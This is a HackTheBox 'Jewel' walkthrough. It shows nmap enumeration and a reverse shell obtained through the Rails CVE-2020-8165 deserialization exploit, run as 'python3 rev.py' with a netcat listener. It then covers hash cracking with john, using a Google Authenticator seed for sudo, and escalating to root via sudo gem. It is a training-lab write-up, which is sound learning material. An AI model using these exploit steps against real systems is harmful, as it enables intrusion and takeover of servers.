# Jewel Walkthrough

Hey Everyone! Today we have one of **HackTheBox** machines, “**Jewel**”. It’s a medium machine and depends on CVE for the exploitation process, before we get started let’s see its info

<figure><img src="https://cdn-images-1.medium.com/max/800/1*Euki_7E-2s5KQEBpt38kmg.png" alt=""><figcaption></figcaption></figure>

## **Enumeration**

At The first step, we will try to enumerate the box to collect information like:

* Open ports
* Hidden directories, parameter discovery, leaked secrets, etc. “_If we have website”_
* Security modes for all servers and ports

So, we will start with **Nmap**

`nmap -A -T4 10.10.10.211`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*9QYvyNC5H7_rGfAuxicB3g.png" alt=""><figcaption></figcaption></figure>

We have 3 open ports `22/8000/8080`

It seems that we have 2 websites working on these 2 ports `8000/8080` so let’s check them

`http://10.10.10.211:8080`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*g1ezKKGIA6Gw-97S8lLheA.png" alt=""><figcaption></figcaption></figure>

We have a webpage with http-title `Bl0G` . Let’s check the second one

[`http://10.10.10.211`](http://10.10.10.211/)`:8000`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*bgKu0Kj-3zXS0m5jZ1mMtQ.png" alt=""><figcaption></figcaption></figure>

It redirects us to `http://10.10.10.211:8000/gitweb` and after searching about what’s `gitweb` I’ve found this result

<figure><img src="https://cdn-images-1.medium.com/max/800/1*h2J25FPNPQNIqiIbgNZfzA.png" alt=""><figcaption></figcaption></figure>

I know that I’ve access to read or write to the `Bl0G` repos, so let’s check the files, to try to find any secrets or any other information.

After spending a little time searching for any juicy file name  `database/login/users` or any other keyword, I’ve found these results

<figure><img src="https://cdn-images-1.medium.com/max/800/1*FafTtBi-N33S_6EBRS_KmQ.png" alt=""><figcaption></figcaption></figure>

And for files…

<figure><img src="https://cdn-images-1.medium.com/max/800/1*CjXQv98ooBOEB8m_5PeN2A.png" alt=""><figcaption></figcaption></figure>

I know that the `Bl0G` the website works on the rails framework, and also I've `sql` file, after checking it...

<figure><img src="https://cdn-images-1.medium.com/max/800/1*UOJdPB8kUjGpbDDm5e_tPg.png" alt=""><figcaption></figcaption></figure>

I’ve 2 usernames and 2 hashes, I’ve tried to crack them using `hashcat` but it fails, so I think it’s a rabbit hole :(

But all, let’s save them into any file and continue our enumeration.

After searching for a rails version, I’ve found that it works on `rails 5.2.2.1`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*CqN7wJXc5q0HhrTPU0kqCQ.png" alt=""><figcaption></figcaption></figure>

After searching for RCE CVE’s for this version, I’ve found `CVE 2020–8165`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*iUbfisgvApCjr5Ikko15Wg.png" alt=""><figcaption></figcaption></figure>

Okay, let’s try to exploit it…



## **Server Foothold & User Flag**

After searching for any public exploit

<figure><img src="https://cdn-images-1.medium.com/max/800/1*zjEk-SqNQC6ijR2UW_uzrA.png" alt=""><figcaption></figcaption></figure>

## **Exploit details**

Deserialization of untrusted data vulnerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.



### **How to exploit manually?**

1. Generate a payload from this [repo](https://github.com/masahiro331/CVE-2020-8165)
2. Use this payload to change your username
3. Refresh the `/articles` page to show your payload name

For the first one, I’ve problems with `ruby` the version which requires a specific version to run the exploit, to save my time I’ve used the second one which is written in python for this machine, and will exploit it also

After checking the exploit code to know how it works, here are the exploit arguments

`python3 rev.py 10.10.xx.xx port`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*qBx1ItGPC2M8mgRWR3aXTw.png" alt=""><figcaption></figcaption></figure>

After trying to execute it, I faced a problem with a hex character, so I added a line to encode it

<figure><img src="https://cdn-images-1.medium.com/max/800/1*OmhI1Xcvua0Ziw2kSkEaew.png" alt=""><figcaption></figcaption></figure>

Let’s run it and listen on our port using `netcat`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*gczJ0GDZ3_9z_cQFW7IsGg.png" alt=""><figcaption></figcaption></figure>

It works and we get the user flag.

## **Root Flag**

For now, I need to enumerate this box to find any important info which led me the root account so instead of searching and enumerating the box manually cmd by cmd, I used `LinPEAS` automation tool which helps you find sensitive info and enumerate the server

After using it I’ve found these hashes

<figure><img src="https://cdn-images-1.medium.com/max/800/1*WnpHzDDm4VVh4a2R-v5aRw.png" alt=""><figcaption></figcaption></figure>

And after enumerating the backup file in `/var/backups/dump_2020_08_27.sql` I’ve found also another hash. For now, I’ve 3 hashed and 2 from the enumeration step at the first

<figure><img src="https://cdn-images-1.medium.com/max/800/1*hLC5cLPF2xiFYvCdUmBCDg.png" alt=""><figcaption></figcaption></figure>

Let’s try to break them all using `hashcat` or `john`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*2yOFNQyidx1jCrWqp6RAaw.png" alt=""><figcaption></figcaption></figure>

As you can see `john` cracked one of them, and we have a password `spongebob`

I’ve tried to use this password for the root account, but it fails.

Let’s check our home directory

<figure><img src="https://cdn-images-1.medium.com/max/800/1*D6Nq9NBG9TW9tJbboM0Abw.png" alt=""><figcaption></figcaption></figure>

We have a `google_authenticator` code seems interesting

I’ve tried to check my privileges by typing `sudo -l` but it requires a password which is `spongebob` and the Google authenticator verification code

So, I’ve used Google authenticator online service to generate the verification code as you can see

<figure><img src="https://cdn-images-1.medium.com/max/800/1*JqtVKCQdAEZ8LnxefguJ-Q.png" alt=""><figcaption></figcaption></figure>

And type `sudo -l` and inserting the password and the code

> **Note:** Your machine timezone MUST be the same with the server timezone “This is the mechanism which google authenticator works”

> If the timezones isn’t the same, the code will expire for the server but it still active for your machine, here’s the point !!

After trying to know our privileges by `sudo -l`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*DsB8QE-bTTgA6UMsZMkAEg.png" alt=""><figcaption></figcaption></figure>

I’ve permission to execute `/usr/bin/gem` as a root without requiring a password

After searching for how to escape from `gem` I’ve found this resource

<figure><img src="https://cdn-images-1.medium.com/max/800/1*JPUU81s0EYBmRpzDHGFKQQ.png" alt=""><figcaption></figcaption></figure>

You have 3 ways to open a shell from `gem`, you can use anyone of them.

I’ve used the first one and opens a root shell

<figure><img src="https://cdn-images-1.medium.com/max/800/1*E6TozUO_2TV9OVBxPI7jDQ.png" alt=""><figcaption></figcaption></figure>

## Stay in touch <a href="#id-7363" id="id-7363"></a>

[LinkedIn](https://www.linkedin.com/in/eslam-akl-6b998614a/) | [GitHub](https://github.com/eslam3kl) | [Twitter](https://twitter.com/eslam3kll)
